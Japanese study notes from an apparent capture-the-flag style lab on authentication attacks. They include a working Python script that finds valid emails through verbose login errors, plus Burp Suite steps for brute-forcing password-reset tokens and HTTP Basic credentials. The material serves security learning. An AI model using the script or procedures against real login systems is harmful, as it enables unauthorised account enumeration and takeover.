偵察とブルートフォース

導入

認証列挙はセキュリティの基本的な側面

  1. 列挙の重要性と、それが効果的なブルートフォース攻撃の準備をどのように整えるかを理解します。
  2. 主に詳細なエラー メッセージから情報を抽出することに焦点を当てた、高度な列挙方法を学習します。
  3. 認証メカニズムを侵害する際の列挙攻撃とブルート フォース攻撃の関係を理解し​​ます。
  4. 列挙攻撃とブルートフォース攻撃の両方のツールとテクニックを使用して実践的な経験を積みます。

認証列挙

認証の列挙は、玉ねぎの皮を剥くようなもの、システムのセキュリティの各層を取り除くと、その下にある実際の操作が明らかになる
ユーザー名がわかれば、攻撃者は、パスワードだけに集中できる
ターゲットを絞れる

詳細エラーによるユーザーの列挙

詳細なエラーから得られるかもしれない情報

詳細なエラーの誘発
エラーを引き起こすために使われる一般的な手法

列挙とブルートフォースの役割

認証フォームでの列挙
ウェブサイトのパスワードを忘れた場合の機能を使ってユーザーを列挙を行える

例 : 対象の Web アプリで有効なメールをチェックする Python スクリプト

import requests
import sys

def check_email(email):
    url = 'http://enum.thm/labs/verbose_login/functions.php'  # Location of the login function
    headers = {
        'Host': 'enum.thm',
        'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'X-Requested-With': 'XMLHttpRequest',
        'Origin': 'http://enum.thm',
        'Connection': 'close',
        'Referer': 'http://enum.thm/labs/verbose_login/',
    }
    data = {
        'username': email,
        'password': 'password',  # Use a random password as we are only checking the email
        'function': 'login'
    }

    response = requests.post(url, headers=headers, data=data)
    return response.json()

def enumerate_emails(email_file):
    valid_emails = []
    invalid_error = "Email does not exist"  # Error message for invalid emails

    with open(email_file, 'r') as file:
        emails = file.readlines()

    for email in emails:
        email = email.strip()  # Remove any leading/trailing whitespace
        if email:
            response_json = check_email(email)
            if response_json['status'] == 'error' and invalid_error in response_json['message']:
                print(f"[INVALID] {email}")
            else:
                print(f"[VALID] {email}")
                valid_emails.append(email)

    return valid_emails

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 script.py <email_list_file>")
        sys.exit(1)

    email_file = sys.argv[1]

    valid_emails = enumerate_emails(email_file)

    print("\nValid emails found:")
    for valid_email in valid_emails:
        print(valid_email)

脆弱なパスワードリセットロジックの悪用

パスワードリセットフローの脆弱性
以下の3つが多く使われることが多いが、それぞれに脆弱性がある

全体に関係する脆弱性・懸念

脆弱なパスワードリセットを利用した予測可能なトークンのブルートフォース攻撃

1. 攻撃対象のページにアクセス

2. パスワードリセットをリクエスト

3. 送信されたリセットリンクを確認

4. Burp Suite でリクエストをキャプチャ

5. ブルートフォース攻撃用の辞書を作成

Burp Suite の Numbers で 100 から 300 までの数値リストを設定。

6. ブルートフォース攻撃を実行

7. 成功したトークンでログイン

HTTP基本認証の悪用

2k24(2024年という意味)での基本認証
Basic Authentication(ベーシック認証)

認証のヘッダーのフォーマット
credentialの部分には、username:passwordのBase64エンコード
詳細 : https://datatracker.ietf.org/doc/html/rfc7617

Authorization: Basic <credentials>

Basic Authentication(ベーシック認証)のブルートフォース

目的 : Basic Authentication を利用しているウェブサイトに対してブルートフォース攻撃を行い、ログイン資格情報を取得する。

  1. ターゲットにアクセス

  2. Basic Authentication のリクエストを取得

    • ポップアップが表示されるので、適当な ユーザー名とパスワード を入力し、ログインを試みる。
    • Burp Suite を使用して、このリクエストをキャプチャする。
  3. Burp Suite の Intruder にリクエストを送信

    • キャプチャしたリクエストを 右クリック → "Send to Intruder" で Intruder に送る。
  4. Authorization ヘッダーのデコード

    • "Positions" タブ に移動し、Authorization ヘッダーの base64 エンコードされた認証情報 をデコードする(base64 decode)。
      BurpでBase64デコードする手順
  5. パスワードリストを設定

    • "Payloads" タブ に移動し、"Payload type" を "Simple list" に設定する。
    • 使用するパスワードリストを選択
    • AttackBox の場合:
    • /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt
  6. ペイロードの処理ルールを追加

    1. ユーザー名とパスワードを一緒に特殊文字で囲む
      • 例えば "admin:123456" の形式にする。
    2. base64 エンコード
      • ユーザー名とパスワードを base64 エンコードし、Authorization ヘッダーに適用。
    3. "="(イコール)を削除
      - base64 ではパディングに「=」が使用されるため、エンコードから文字「=」(等号)も削除する
      - 「Payload encoding」の中に=を加える
      上の設定を全て行ったときの画面
  7. 攻撃の実行

    • "Positions" タブ に戻り、"Start Attack" をクリック。
  8. 成功したレスポンスを確認

    • ステータスコード 200 を確認する。
    • ステータス 200 が返ってきたリクエストの Authorization ヘッダーをデコードすると、正しい資格情報(username:password)が判明する。
      ステータスコードが200の、ログインできる認証情報を発見したとき
  9. 入手した資格情報でログイン

    • 成功したユーザー名とパスワード を使用し、ウェブサイトにログインする。
    • フラグが表示される。

OSINT

Wayback Machineとか Google Dorksが使えるよ

結論